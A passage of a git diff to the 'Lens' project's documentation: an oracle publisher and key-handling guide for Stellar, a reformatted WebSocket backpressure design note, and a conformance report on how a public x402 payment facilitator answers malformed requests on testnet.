--id "$FEED" --network testnet -- resolution +``` + +Recommended values, matching the contract's test suite and the scaling in +`src/publish/sep40.ts`: `decimals = 14`, `resolution = 60`. Lens reads both from +the contract at runtime and **fails closed** if the reads fail — there is no +fallback scale. `base` should be the asset you want your consumers quoted in, +and it must be one leg of every pair you intend to publish (§2). + +Upgrades keep the address: + +```bash +soroban contract install --source "$ADMIN_ACCOUNT" --network testnet \ + --wasm target/wasm32v1-none/release/lens_sep40_oracle.wasm # prints the WASM hash +soroban contract invoke --id "$FEED" --source "$ADMIN_ACCOUNT" --network testnet -- \ + upgrade --new_wasm_hash "$WASM_HASH" +``` + +### 4.3 Run the publisher + +```bash +# .env (never committed) +ENABLED_NETWORKS=testnet +SEP40_ENABLED_TESTNET=true +SEP40_CONTRACT_ID_TESTNET= +SEP40_PUBLISHER_SECRET_KEY_TESTNET= +``` + +`src/index.ts` starts one publisher per enabled network the same way it starts +venue ingesters — inside `restartIngester`, so a crash restarts that network's +publisher after 10 s and cannot affect the other network or the other adapters. +Startup is quiet and safe by default: + +- `SEP40_ENABLED_*=false` (the default) → the loop never starts. +- Enabled but missing the contract id or the key → warning, publication stays off. +- A malformed (`not even a valid C…` id) → `isUsableContractId` warns and + disables it, as it does for every other contract address in `src/config.ts`. + +Pair lists come from `WATCHED_PAIRS_TESTNET` / `WATCHED_PAIRS_MAINNET` for that +network, not from the shared runtime registry, and every aggregate, venue and +`price_points` query in the loop carries `network` in its WHERE clause. A +publisher must not be able to quote testnet trades on a mainnet feed. + +No REST or GraphQL route is added: the point of SEP-40 is that a contract reads +the feed on chain, and the existing `/price` already serves the off-chain +consumer. + +### 4.4 Audit trail + +`oracle_publications` (Prisma model `OraclePublication`) records **writes**, not +every blocked decision — at the default 30-second poll a blocked decision would +be 2 880 rows a day per pair per network (5 760 on both, 17 280 for a three-pair +list) all saying "nothing happened". Columns: `network`, `pairKey`, +`quotedAsset`, `baseAsset`, `state` (`published` | `failed`), `trigger`, +`price`, `scaledPrice` (the `i128` as text), `decimals`, `feedTimestamp`, +`resolution`, `venues` (comma-joined names), `sourceCount`, `deviationPct`, +`reason`, `txHash`, `errorMessage`, `createdAt`. + +A failed write is recorded the same way a success is and the loop continues with +the next pair: the number Lens meant to publish, the venues behind it, and why it +did not land is exactly what an operator needs at 3 a.m. A feed Lens cannot +**read** is different — `FeedUnavailableError` aborts the cycle and the loop +backs off (10 s, doubling, capped at 60 s), because "we could not check what is +already on chain" means the deviation and monotonicity promises cannot be kept. + +`npm run db:migrate` (`prisma migrate dev`) creates the table; this repo +has no migrations directory. + +--- + +## 5. Key handling + +Two accounts, and they are not interchangeable: + +| | Admin | Publisher | +| --- | --- | --- | +| Signs | `initialize`, `set_publisher`, `upgrade` | `report` — every publication | +| Lives | Cold: hardware wallet, or an offline signer. Not in any server's env if you can avoid it. | Hot: `SEP40_PUBLISHER_SECRET_KEY_*` on the host running Lens | +| Needs | Enough XLM for the rare admin transaction | XLM for one transaction per publication, per asset | +| Leak damage | Attacker can upgrade the feed — catastrophic | Attacker can publish bad prices until you rotate — bad, recoverable | + +- **Funding.** The publisher pays every write's fee, so it needs XLM on the same + network as the feed. At the defaults the worst case is bounded and + computable: one write per asset per `SEP40_MIN_WRITE_INTERVAL_MS`, so + `pairs × (86400 / minWriteIntervalSeconds)` transactions per day — 1 440 per + asset per day at the 60-second floor, and typically far fewer, because a + deviation has to occur for a write to be attempted at all. +- **Never committed.** `.env` is gitignored, `.env.example` carries the variable + names with empty values and comments only, and no secret key appears in source, + docs, tests, or changesets. The publisher only ever reads the key through + `Keypair.fromSecret()` inside `src/publish/onchain.ts`; it is not logged, not + returned, and not written to `oracle_publications`. +- **Rotation.** Fund a new account, `set_publisher` to it (admin signs), update + `SEP40_PUBLISHER_SECRET_KEY_*`, restart. Until the new key is live the old one + still authorizes writes; after `set_publisher` the old one does not — the + contract compares the stored publisher address, it does not trust the + transaction's signer. +- **Failing closed.** No key → no publication, with a log line saying so. A + partially configured publisher is worse than an absent one: it either burns + fees on the wrong feed or silently publishes nothing while looking healthy. +- If you use one Lens process for both networks, use one publisher account per + network. A leaked testnet key should not be a mainnet problem. + +--- + +## 6. Reading the feed from a contract + +A consumer declares the same two types and calls the spec's names — nothing +Lens-specific is required: + +```rust +use soroban_sdk::{contract, contractimpl, symbol_short, Address, Env, IntoVal, Symbol}; + +#[contracttype] +#[derive(Clone)] +pub enum Asset { Stellar(Address), Other(Symbol) } + +#[contracttype] +#[derive(Clone)] +pub struct PriceData { pub price: i128, pub timestamp: u64 } + +#[contract] +pub struct Consumer; + +#[contractimpl] +impl Consumer { + /// XLM per USDC, or nothing at all if the feed has no price or the caller's + /// staleness bar is not met. + pub fn spot(env: Env, feed: Address, max_age: u64) -> Option { + let asset = Asset::Other(symbol_short!("XLM")); + let data: PriceData = env + .invoke_contract::>( + &feed, + &symbol_short!("lastprice"), + (asset,).into_val(&env), + ) + .ok()??; + if env.ledger().timestamp() - data.timestamp > max_age { + return None; // stale: refuse, rather than settle on an old tick + } + Some(data.price) // still scaled by the feed's decimals() + } +} +``` + +Check `None`, and check the age, before trusting a number: that is the whole +consumer-side contract, and it is why `decimals`/`resolution` are readable +entry points rather than documentation. + +## 7. Reading the feed from JS + +```ts +import { contract as StellarContract, Networks, SorobanRpc } from '@stellar/stellar-sdk' + +const client = await StellarContract.Client.from({ + contractId: process.env.SEP40_CONTRACT_ID_TESTNET!, + rpcUrl: 'https://soroban-testnet.stellar.org', + networkPassphrase: Networks.TESTNET, +}) + +// SEP-40's `Asset` is a `contracttype` enum with tuple variants, which the SDK +// represents natively as { tag, values } — the form `assetToSpecArg` builds. +const tx = await client.lastprice({ asset: { tag: 'Other', values: ['XLM'] } }) +if (!tx.result) throw new Error('the feed has no price for XLM yet') // None +const decimals = Number((await client.decimals()).result) // 14 +const price = Number(tx.result.price) / 10 ** decimals +const ageSeconds = Math.floor(Date.now() / 1000) - Number(tx.result.timestamp) +``` + +Awaiting a dynamic `Client` method simulates the call and gives an +`AssembledTransaction`; `.result` is the decoded return value. `None` from the +contract arrives as `null`/`undefined` here, which is the check §6 also demands. + +`src/publish/sep40.ts` has the encoders both directions (`assetToScVal`, +`assetFromSpecArg`, `scalePrice`, `unscalePrice`) if you need the XDR form, and +`src/publish/onchain.ts` is the working `Client.from({...})` setup the publisher +itself uses. Note the import path: this repo compiles with `module: commonjs`, so +the `@stellar/stellar-sdk/contract` subpath does not resolve and the `contract` +namespace comes from the package root. + +## 8. Tests + +```bash +npm test -- src/__tests__/sep40Encoding.test.ts \ + src/__tests__/sep40Trigger.test.ts \ + src/__tests__/sep40Publisher.test.ts +cd oracle/contract && cargo test --lib +``` + +This repo's tests are **vitest**, not jest. The three suites cover: + +- `sep40Encoding` — exact scaling (`0.29` at 14 decimals is the case that float + maths gets wrong), `i128` bounds, refusals, SAC-address derivation including + the mainnet USDC assertion and an imposter-issuer check, the `{tag, values}` + and `Vec[Symbol, value]` wire forms, venue list validation. +- `sep40Trigger` — every guard outranking every trigger (a stale aggregate that + has also aged out must not publish), both write vetoes with `suppressedBy`, + and an hour-long simulated poll asserting the write count is rate-limited + rather than proportional to samples. +- `sep40Publisher` — orientation and inversion, `base_not_in_pair`, provenance + audit rows, deviation measured against the on-chain value, a stale aggregate + proving **zero** `lastPrice`/`report` calls, failed writes recorded without + killing the cycle, and a bad issuer on one pair not silencing another. + +## 9. Known limits + +- One feed, one base. Pairs that do not contain the base are skipped with a + reason; quote more bases by deploying another feed. +- Publication is off by default on every network and needs a funded publisher; + nothing in this feature runs unless an operator opts in. +- `price(asset, timestamp)` answers from the retained 64 records. Older history + lives in Postgres and behind `/price/:a/:b/history`, not on chain. +- The RPC layer (`ContractSep40Feed`) is not exercised against a deployed feed + by any test in this PR — there is no Lens feed contract to point at yet. What + is proven here is the policy around it (`sep40Publisher`), the encoding both + sides must agree on (`sep40Encoding`, `sep40Trigger`), and the contract itself + (`cargo test --lib`). Signing up to a real network is the remaining step, and + it needs a deployment first. diff --git a/docs/websocket-backpressure.md b/docs/websocket-backpressure.md index 7cf2013d..b380f66d 100644 --- a/docs/websocket-backpressure.md +++ b/docs/websocket-backpressure.md @@ -1,122 +1,122 @@ -# WebSocket backpressure - -Lens streams live prices over `/ws`. One property of that stream decides how the -server has to behave: **`send()` does not block and does not throw when a peer -is slow.** It queues. A client on a bad mobile connection, or one whose process -has been suspended and whose TCP window has filled, accumulates payloads in its -socket's internal buffer. Nothing inspected `bufferedAmount`, so that buffer had -no upper bound, and the message was counted as sent the moment it was queued. - -With a price feed pushing updates continuously, one stuck subscriber was enough -to grow the process until it was OOM-killed — taking every other subscriber, and -every HTTP client, with it. - -The fix is a policy over the socket's `bufferedAmount`, applied per client. It -lives in [`src/ws/fanout.ts`](../src/ws/fanout.ts) (`FanOutManager.deliver`); -the limits and their defaults are in -[`src/ws/backpressure.ts`](../src/ws/backpressure.ts). - -## The policy - -Checked per client, per update, in this order: - -| Tier | Condition | Action | -|---|---|---| -| 1. Evict (dead peer) | `bufferedAmount >= WS_MAX_BUFFERED_BYTES` | Close with **1013**, unregister, count `ws_clients_dropped_total`. | -| 2. Evict (stuck peer) | congested continuously for `WS_MAX_CONGESTED_MS` | Close with **1013**, unregister, count `ws_clients_dropped_total`. | -| 3. Coalesce | `bufferedAmount >= WS_SLOW_CLIENT_BUFFER_BYTES`, or inside the coalescing window | Keep only the newest update; count every superseded one in `ws_messages_dropped_total`. | -| 4. Send | otherwise | Send, and count `ws_messages_sent_total` when the socket reports the write completed. | - -**Why 1013.** RFC 6455 §7.4.1 reserves 1013 for "Try Again Later": the server is -refusing to keep serving this client right now. The condition here is the -client's rather than the server's, but the meaning to a client is the one it -already handles for a throttled feed — back off and reconnect, do not treat the -close as fatal. The close reason is one of `buffer limit exceeded` or -`congested too long`, kept short because RFC 6455 caps a close reason at 123 -bytes. - -**Why coalescing is the primary tier.** For a price feed, an intermediate tick -that arrives late is worthless: the newest tick has already superseded it, so -truncating the backlog costs the client nothing it could still use — and costs -the server one payload per client instead of one per tick. Tier 3 also covers -the ordinary coalescing window (`WS_COALESCE_INTERVAL_MS`, 10 updates/sec by -default), which existed before and is the same behaviour for the same reason. - -**Why evict at all.** Coalescing bounds the memory a slow client costs. It does -not bound the *time*: a client that has stopped reading entirely would sit -there forever, holding a slot, its buffered bytes and a `ws_clients_total` -series, with no metric saying why. Tier 1 catches a peer wedged past the hard -limit; tier 2 catches one wedged below it. - -**Why the soft limit is clamped.** `WS_SLOW_CLIENT_BUFFER_BYTES` is forced below -`WS_MAX_BUFFERED_BYTES` (at half of it). Set at or above, every client past the -soft limit would be disconnected on its first update over it and tier 3 — the -one that keeps a merely-slow client connected — would never run. - -## Defaults - -| Variable | Default | Meaning | -|---|---|---| -| `WS_COALESCE_INTERVAL_MS` | `100` | Max updates per second per client. `0` disables the window. | -| `WS_SLOW_CLIENT_BUFFER_BYTES` | `262144` (256 KiB) | Queued bytes above which updates are coalesced. Over a thousand ticks of backlog. | -| `WS_MAX_BUFFERED_BYTES` | `1048576` (1 MiB) | Queued bytes above which the client is closed. | -| `WS_MAX_CONGESTED_MS` | `30000` | How long a client may stay congested. `0` keeps them indefinitely. | -| `WS_BUFFER_SWEEP_INTERVAL_MS` | `5000` | How often `ws_buffered_bytes` is refreshed. | - -## Counting, honestly - -- `ws_messages_sent_total` increments **when the socket reports the write - completed**, not when `send()` was called. `send()` returns once the payload is - queued, so counting there reported messages as delivered when they were only in - a buffer — including for a client that had stopped reading and would never see - them. -- `ws_messages_dropped_total` counts updates discarded because a newer one - superseded them, plus the retained update dropped when a client is evicted. -- `ws_clients_dropped_total` counts evicted clients. -- `ws_buffered_bytes` is the aggregate of every client's queued bytes, sampled on - a timer. Aggregate only: one series per client would be unbounded cardinality - driven by caller-supplied subscription strings. - -All four keep the existing bounded `pair` label: pair-specific subscriptions are -recorded as `other`, `*` is the aggregate. See -[`http-metrics.md`](http-metrics.md). - -## Queries - -```promql -# Clients evicted for backpressure, per second -sum(rate(ws_clients_dropped_total[5m])) - -# Updates coalesced away, as a fraction of everything we tried to send -sum(rate(ws_messages_dropped_total[5m])) - / sum(rate(ws_messages_sent_total[5m])) + sum(rate(ws_messages_dropped_total[5m])) - -# Total queued bytes across every client — the thing that used to grow unbounded -ws_buffered_bytes{pair="*"} - -# Connected clients -sum(ws_clients_total{pair="*"}) -``` - -## Suggested alert - -```yaml -groups: - - name: lens-websocket - rules: - - alert: LensWebsocketClientsDropped - expr: sum(rate(ws_clients_dropped_total[10m])) > 0.1 - for: 10m - labels: { severity: warning } - annotations: - summary: "Lens is disconnecting websocket clients for falling behind" - description: >- - ws_clients_dropped_total is rising: clients are not draining their - socket buffers fast enough. Check ws_buffered_bytes and the network - between clients and this instance before raising the thresholds. -``` - -Tune against observed traffic before paging anyone. A steady trickle of -evictions on a mobile-heavy client base is a capacity signal, not an incident — -which is exactly why these clients are counted and dropped rather than allowed +# WebSocket backpressure + +Lens streams live prices over `/ws`. One property of that stream decides how the +server has to behave: **`send()` does not block and does not throw when a peer +is slow.** It queues. A client on a bad mobile connection, or one whose process +has been suspended and whose TCP window has filled, accumulates payloads in its +socket's internal buffer. Nothing inspected `bufferedAmount`, so that buffer had +no upper bound, and the message was counted as sent the moment it was queued. + +With a price feed pushing updates continuously, one stuck subscriber was enough +to grow the process until it was OOM-killed — taking every other subscriber, and +every HTTP client, with it. + +The fix is a policy over the socket's `bufferedAmount`, applied per client. It +lives in [`src/ws/fanout.ts`](../src/ws/fanout.ts) (`FanOutManager.deliver`); +the limits and their defaults are in +[`src/ws/backpressure.ts`](../src/ws/backpressure.ts). + +## The policy + +Checked per client, per update, in this order: + +| Tier | Condition | Action | +|---|---|---| +| 1. Evict (dead peer) | `bufferedAmount >= WS_MAX_BUFFERED_BYTES` | Close with **1013**, unregister, count `ws_clients_dropped_total`. | +| 2. Evict (stuck peer) | congested continuously for `WS_MAX_CONGESTED_MS` | Close with **1013**, unregister, count `ws_clients_dropped_total`. | +| 3. Coalesce | `bufferedAmount >= WS_SLOW_CLIENT_BUFFER_BYTES`, or inside the coalescing window | Keep only the newest update; count every superseded one in `ws_messages_dropped_total`. | +| 4. Send | otherwise | Send, and count `ws_messages_sent_total` when the socket reports the write completed. | + +**Why 1013.** RFC 6455 §7.4.1 reserves 1013 for "Try Again Later": the server is +refusing to keep serving this client right now. The condition here is the +client's rather than the server's, but the meaning to a client is the one it +already handles for a throttled feed — back off and reconnect, do not treat the +close as fatal. The close reason is one of `buffer limit exceeded` or +`congested too long`, kept short because RFC 6455 caps a close reason at 123 +bytes. + +**Why coalescing is the primary tier.** For a price feed, an intermediate tick +that arrives late is worthless: the newest tick has already superseded it, so +truncating the backlog costs the client nothing it could still use — and costs +the server one payload per client instead of one per tick. Tier 3 also covers +the ordinary coalescing window (`WS_COALESCE_INTERVAL_MS`, 10 updates/sec by +default), which existed before and is the same behaviour for the same reason. + +**Why evict at all.** Coalescing bounds the memory a slow client costs. It does +not bound the *time*: a client that has stopped reading entirely would sit +there forever, holding a slot, its buffered bytes and a `ws_clients_total` +series, with no metric saying why. Tier 1 catches a peer wedged past the hard +limit; tier 2 catches one wedged below it. + +**Why the soft limit is clamped.** `WS_SLOW_CLIENT_BUFFER_BYTES` is forced below +`WS_MAX_BUFFERED_BYTES` (at half of it). Set at or above, every client past the +soft limit would be disconnected on its first update over it and tier 3 — the +one that keeps a merely-slow client connected — would never run. + +## Defaults + +| Variable | Default | Meaning | +|---|---|---| +| `WS_COALESCE_INTERVAL_MS` | `100` | Max updates per second per client. `0` disables the window. | +| `WS_SLOW_CLIENT_BUFFER_BYTES` | `262144` (256 KiB) | Queued bytes above which updates are coalesced. Over a thousand ticks of backlog. | +| `WS_MAX_BUFFERED_BYTES` | `1048576` (1 MiB) | Queued bytes above which the client is closed. | +| `WS_MAX_CONGESTED_MS` | `30000` | How long a client may stay congested. `0` keeps them indefinitely. | +| `WS_BUFFER_SWEEP_INTERVAL_MS` | `5000` | How often `ws_buffered_bytes` is refreshed. | + +## Counting, honestly + +- `ws_messages_sent_total` increments **when the socket reports the write + completed**, not when `send()` was called. `send()` returns once the payload is + queued, so counting there reported messages as delivered when they were only in + a buffer — including for a client that had stopped reading and would never see + them. +- `ws_messages_dropped_total` counts updates discarded because a newer one + superseded them, plus the retained update dropped when a client is evicted. +- `ws_clients_dropped_total` counts evicted clients. +- `ws_buffered_bytes` is the aggregate of every client's queued bytes, sampled on + a timer. Aggregate only: one series per client would be unbounded cardinality + driven by caller-supplied subscription strings. + +All four keep the existing bounded `pair` label: pair-specific subscriptions are +recorded as `other`, `*` is the aggregate. See +[`http-metrics.md`](http-metrics.md). + +## Queries + +```promql +# Clients evicted for backpressure, per second +sum(rate(ws_clients_dropped_total[5m])) + +# Updates coalesced away, as a fraction of everything we tried to send +sum(rate(ws_messages_dropped_total[5m])) + / sum(rate(ws_messages_sent_total[5m])) + sum(rate(ws_messages_dropped_total[5m])) + +# Total queued bytes across every client — the thing that used to grow unbounded +ws_buffered_bytes{pair="*"} + +# Connected clients +sum(ws_clients_total{pair="*"}) +``` + +## Suggested alert + +```yaml +groups: + - name: lens-websocket + rules: + - alert: LensWebsocketClientsDropped + expr: sum(rate(ws_clients_dropped_total[10m])) > 0.1 + for: 10m + labels: { severity: warning } + annotations: + summary: "Lens is disconnecting websocket clients for falling behind" + description: >- + ws_clients_dropped_total is rising: clients are not draining their + socket buffers fast enough. Check ws_buffered_bytes and the network + between clients and this instance before raising the thresholds. +``` + +Tune against observed traffic before paging anyone. A steady trickle of +evictions on a mobile-heavy client base is a capacity signal, not an incident — +which is exactly why these clients are counted and dropped rather than allowed to accumulate. \ No newline at end of file diff --git a/docs/x402-conformance.md b/docs/x402-conformance.md index ce5fb08a..49978ad0 100644 --- a/docs/x402-conformance.md +++ b/docs/x402-conformance.md @@ -1,266 +1,266 @@ -# x402 conformance: baseline against the public facilitator - -A record of what the **public `x402.org` facilitator actually does** on -`stellar:testnet`, established by pointing a canonical client at it and feeding -it deliberately bad input. This is the baseline Lens's own facilitator (#124, -#125, #126) is measured against — without it, "conformant" means nothing more -than our own reading of the spec, which is exactly the drift the RFP screens -for. - -Everything below was executed against live testnet. Nothing here is inferred. - -## What was run - -| | | -| --- | --- | -| Facilitator | `https://x402.org/facilitator` (no API key required) | -| Network | `stellar:testnet` | -| Scheme | `exact` | -| Spec | [`scheme_exact_stellar.md`](https://github.com/x402-foundation/x402/blob/main/specs/schemes/exact/scheme_exact_stellar.md) @ `c4d2de655d1dfca63f54100e32de019b26aaacdd` (2026-07-17, "fix stellar tx fee (#2852)") | -| Client | `@stellar/stellar-sdk` **16.2.0**, unmodified — stock `simulateTransaction`, `authorizeEntry`, `assembleTransaction`. No patched SDK, no local shims. | -| Date | 2026-08-31 | - -**Scope note, stated plainly:** this is *not* a run of the x402 repository's own -e2e suite. That suite is not currently runnable against an arbitrary facilitator -without vendoring its harness. What was done instead is the check the RFP -actually describes — building a canonical client straight from the published -spec with the stock SDK, and completing a payment end to end. Where that is a -weaker signal than running their suite, it is a stronger one than reading the -spec, and the settled transaction hash below is verifiable by anyone. - -## Headline result: a payment settled end to end - -A real `exact` payment on `stellar:testnet`, verified and settled by the public -facilitator, with a client that had never been pointed at it before. - -| | | -| --- | --- | -| Transaction | [`988dca9e7a204a59534912ff502fd81056f571e35f2cb87812bdfdc3292d9f17`](https://stellar.expert/explorer/testnet/tx/988dca9e7a204a59534912ff502fd81056f571e35f2cb87812bdfdc3292d9f17) | -| Ledger | 4425809 | -| Result | `successful: true` | -| Payer | `GBJ72MK5OQ3N2X2DZGUCBHFZM62UA4W3B7ZKKY53NREMYWBSMLQMBWND` | -| Recipient | `GD7FSGAFENIMMKU5QZZR76O53NNSL7QQ6NFGROXKA26JX4FYXNN363OF` — balance went to exactly `1.0000000` | -| Asset | `CDBH3ITPRJRLINW5TKQCEFARO6UCUZZBGPBVT6QGZJ7WQQ2VOTYND2OM` (a SAC deployed for this test) | - -**Fee sponsorship is real, not just advertised.** The submitted transaction's -source account is `GC6CSXBV4C6RL3HEDTW57KXYXSSXKAWKGYDEOSATXM3XNKXSR2VRYN3K` — -the facilitator's own account, not the payer's — and the 23,059 stroop fee was -charged to it. `extra.areFeesSponsored: true` is therefore backed by observed -behaviour. (23,059 stroops also sits comfortably under the spec's 50,000-stroop -default ceiling.) - -## `/supported`, captured verbatim - -`GET https://x402.org/facilitator/supported` → `200`. The Stellar entry: - -```json -{ "x402Version": 2, "scheme": "exact", "network": "stellar:testnet", "extra": { "areFeesSponsored": true } } -``` - -This matches the RFP's stated contract exactly: the Stellar `extra` block is -present, `areFeesSponsored` is `true`, and the identifier is CAIP-2. - -All 11 advertised kinds: - -| x402Version | scheme | network | extra | -| --- | --- | --- | --- | -| 2 | `exact` | `eip155:84532` | — | -| 2 | `upto` | `eip155:84532` | `facilitatorAddress` | -| 2 | `batch-settlement` | `eip155:84532` | — | -| 2 | `exact` | `solana:EtWTRABZaYq6iMfeYKouRu166VU2xqa1` | `feePayer`, `features.smartWalletSupported` | -| 2 | `exact` | `algorand:SGO1GKSzyE7IEPItTxCByw9x8FmnrCDe` | `feePayer` | -| 2 | `exact` | `aptos:2` | `feePayer` | -| 2 | `exact` | **`stellar:testnet`** | `areFeesSponsored: true` | -| 2 | `exact` | `hedera:testnet` | `feePayer` | -| 2 | `exact` | `xrpl:1` | `areFeesSponsored: false` | -| 1 | `exact` | `base-sepolia` | — | -| 1 | `exact` | `solana-devnet` | — | - -Two things to note. **Stellar mainnet is not served** — `stellar:testnet` is the -only Stellar entry, so nothing about mainnet behaviour can be inferred from this -facilitator. And **CAIP-2 holds only for `x402Version: 2`**: the two v1 entries -use the legacy non-CAIP-2 names `base-sepolia` and `solana-devnet`. A client that -reads `/supported` and assumes CAIP-2 throughout will mis-parse those two rows. - -## Rejection reasons: does every rejection carry one? - -The RFP's requirement is that every rejection carries a non-null `reason`. Fed -deliberately bad input, the answer is **yes for `invalidReason`, and no for -anything human-readable**. Results, all live: - -### Structural checks against a real signed payload - -Each of these starts from the *same* valid payload that settled above, with one -field changed — so a specific reason is genuinely available to the facilitator. - -| Input | HTTP | `invalidReason` | Verdict | -| --- | --- | --- | --- | -| Control, unmodified | 200 | — (`isValid: true`) | ✅ | -| `requirements.payTo` ≠ transaction's `to` | 200 | `invalid_exact_stellar_payload_wrong_recipient` | ✅ specific | -| `requirements.asset` ≠ transaction's contract | 200 | `invalid_exact_stellar_payload_wrong_asset` | ✅ specific | -| `requirements.amount` ≠ transaction's amount | 200 | `invalid_exact_stellar_payload_wrong_amount` | ✅ specific | -| Auth expiration `+100` ledgers (cap is `+12`) | 200 | `invalid_exact_stellar_signature_expiration_too_far` | ✅ specific | -| Auth expiration `+1000` | 200 | `invalid_exact_stellar_signature_expiration_too_far` | ✅ specific | -| Auth expiration `+100000` | 200 | `invalid_exact_stellar_signature_expiration_too_far` | ✅ specific | -| **Auth expiration 50 ledgers in the past** | 200 | `invalid_exact_stellar_payload_simulation_failed` | ⚠️ generic | -| **Replay of the already-settled payload** | 200 | `invalid_exact_stellar_payload_simulation_failed` | ⚠️ generic | -| Source-account auth credential (not address) | 200 | `invalid_exact_stellar_payload_unsupported_credential_type` | ✅ specific | - -Spec §3's expiration ceiling is enforced properly, with its own named reason. The -opposite direction is not: an entry that has **already expired** is caught only -when simulation fails, and reports the same generic reason as a replay, an -insufficient balance, or any other state problem. - -### Malformed payloads - -| Input | HTTP | `invalidReason` | -| --- | --- | --- | -| Empty body | 400 | `missing_parameters` | -| `paymentPayload` only | 400 | `missing_parameters` | -| `paymentRequirements` only | 400 | `missing_parameters` | -| Payload/requirements scheme mismatch | 200 | `unsupported_scheme` | -| Payload/requirements network mismatch | 200 | `network_mismatch` | -| Missing `payload.transaction` | 200 | `invalid_exact_stellar_payload_malformed` | -| `transaction` not base64 | 200 | `invalid_exact_stellar_payload_malformed` | -| `transaction` valid base64, not XDR | 200 | `invalid_exact_stellar_payload_malformed` | -| `transaction` empty string | 200 | `invalid_exact_stellar_payload_malformed` | -| **`x402Version: 1` on `stellar:testnet`** | **500** | `unexpected_error` | -| **`network: stellar:pubnet` (not advertised)** | **500** | `unexpected_error` | -| **`scheme: upto` on Stellar (not advertised)** | **500** | `unexpected_error` | - -### `payload: { transaction }` accepted verbatim? - -**Yes.** The spec's `payload` shape was sent exactly as published — a single -`transaction` key holding base64 XDR — inside the spec's full `PaymentPayload` -envelope with `x402Version`, `resource` and `accepted`. It was accepted with no -adjustment on the first attempt. - -## Divergences found - -### 1. Unsupported network or scheme returns HTTP 500, not a rejection - -The single most consequential finding. Asking for something the facilitator does -not serve — `stellar:pubnet`, or `upto` on Stellar — produces: - -``` -HTTP 500 -{"isValid":false,"invalidReason":"unexpected_error", - "invalidMessage":"No facilitator registered for scheme: exact and network: stellar:pubnet", - "error":"No facilitator registered for scheme: exact and network: stellar:pubnet"} -``` - -A client asking for an unsupported combination has made a **client** error, and -`/supported` already publishes the correct answer. Returning `500` tells every -well-behaved HTTP client that the *server* failed and the request should be -retried — so a stock client will hammer a facilitator that will never say yes. - -Worse, `x402Version: 1` with `network: stellar:testnet` produces the same 500 -with the message *"No facilitator registered for scheme: exact and network: -stellar:testnet"* — which is **untrue as written**. That pair is registered; it -is registered at `x402Version: 2`. The message names the scheme and network but -omits the version, which is the field that actually caused the miss, and so -misdirects anyone debugging it. - -### 2. Rejections carry no `invalidMessage` - -Every structured rejection is exactly `{"isValid":false,"invalidReason":"…"}`, -sometimes with `payer`. The `invalidMessage` field is **absent entirely** — not -null, not empty. It appears only on the `500`/`400` paths, which are the ones a -human is least likely to need it on. So the rejections that matter carry a -machine-readable code and no human-readable detail. - -### 3. Already-expired and replayed payloads are indistinguishable - -Both report `invalid_exact_stellar_payload_simulation_failed`, which is also what -an insufficient balance or a stale ledger state reports. These need different -client responses — re-sign with a fresh expiration (retryable) versus stop, the -payment is already spent (terminal) — and a client cannot tell them apart. The -spec has explicit rules for expiry, so a specific reason is available. - -### 4. The `payer` field is echoed inconsistently - -`payer` comes back on `wrong_recipient`, `wrong_amount`, `unsupported_credential_type`, -`simulation_failed` and on success — but **not** on `wrong_asset`. A resource -server keying its own bookkeeping off `payer` will find it missing for exactly -one rejection class. - -### 5. `/supported` mixes CAIP-2 and legacy network identifiers - -Covered above: the `x402Version: 1` rows use `base-sepolia` and `solana-devnet`. -Defensible as legacy compatibility, but it means "parse `network` as CAIP-2" is -wrong against this endpoint unless the version is checked first. - -## Other facilitators - -### `facilitator.stellar.org` — does not exist - -**This is Lens's own hard-coded default.** `src/middleware/x402.ts` and -`src/api/websocket.ts` both fall back to `https://facilitator.stellar.org` when -`X402_FACILITATOR_URL` is unset. - -The host does not resolve. Google Public DNS returns `Status: 3` (NXDOMAIN) for -`facilitator.stellar.org.`, with the SOA for `stellar.org.` in the authority -section — the parent zone exists, the label does not: - -``` -$ curl 'https://dns.google/resolve?name=facilitator.stellar.org&type=A' -{"Status":3, ... "Authority":[{"name":"stellar.org.","type":6, ...}]} -``` - -This is precisely the "advertised support and reachable support are not the same -thing" gap the RFP describes, except it is ours. Any deployment of Lens that has -not set `X402_FACILITATOR_URL` is gating paid routes behind a facilitator that -cannot be reached. Tracked separately — it is a Lens bug, not a conformance -finding, and it should be fixed before it reaches anyone's deployment. - -### Coverage limits - -No other facilitator advertising Stellar support was reachable without -credentials at the time of writing. Coinbase's facilitator requires an API key, -which puts it outside the "same stock client, no privileged access" bar this -document holds itself to. When a second Stellar-serving facilitator becomes -publicly reachable, the tables above are the harness to re-run against it. - -## What this means for Lens's facilitator - -Concrete requirements for #124, #125 and #126, derived from the gaps above -rather than from taste: - -1. **Never return `5xx` for a client error.** Unsupported scheme, network or - version is a rejection with a reason, not a server fault. This is finding 1 - and it is the one most likely to cause real interop pain. -2. **Include the version in any "not supported" message**, since version is a - routing dimension and omitting it produces actively false messages. -3. **Populate `invalidMessage` on every rejection.** The code is for the machine; - the message is what saves an integrator an afternoon. -4. **Give expiry and replay their own reasons.** `simulation_failed` should mean - "simulation failed for a reason I could not classify", not "one of four - completely different things". -5. **Echo `payer` on every response that knows it**, without exception. -6. **Match the reasons that already work**: `wrong_recipient`, `wrong_asset`, - `wrong_amount`, `signature_expiration_too_far` and - `unsupported_credential_type` are all specific and correct in the reference - implementation. Lens should emit the same identifiers for the same conditions - so a client can treat both facilitators uniformly — that is what conformance - is for. - -## Reproducing this - -The client is stock `@stellar/stellar-sdk` 16.2.0 driving the flow the spec -describes: - -1. Build an `invokeHostFunction` calling `transfer(from, to, amount)` on the SAC. -2. `simulateTransaction` to obtain the required auth entries. -3. `authorizeEntry(entry, payerKeypair, currentLedger + ceil(maxTimeoutSeconds / 5), passphrase)`. -4. `assembleTransaction`, then replace the operation's auth with the signed entries. -5. `toXDR()` into `payload.transaction`, and POST to `/verify`, then `/settle`. - -One detail worth recording, because it costs an hour to find: **the transaction -source account must differ from the payer.** If the client builds the transaction -with the payer as source, Soroban simulation returns a -`sorobanCredentialsSourceAccount` auth entry, and the facilitator correctly -rejects it with `invalid_exact_stellar_payload_unsupported_credential_type` — -spec §3 permits `sorobanCredentialsAddress` only. Using any other funded account -as the source makes simulation emit an address credential for the payer, which -is what the sponsored flow requires. The spec implies this but does not say it -outright. +# x402 conformance: baseline against the public facilitator + +A record of what the **public `x402.org` facilitator actually does** on +`stellar:testnet`, established by pointing a canonical client at it and feeding +it deliberately bad input. This is the baseline Lens's own facilitator (#124, +#125, #126) is measured against — without it, "conformant" means nothing more +than our own reading of the spec, which is exactly the drift the RFP screens +for. + +Everything below was executed against live testnet. Nothing here is inferred. + +## What was run + +| | | +| --- | --- | +| Facilitator | 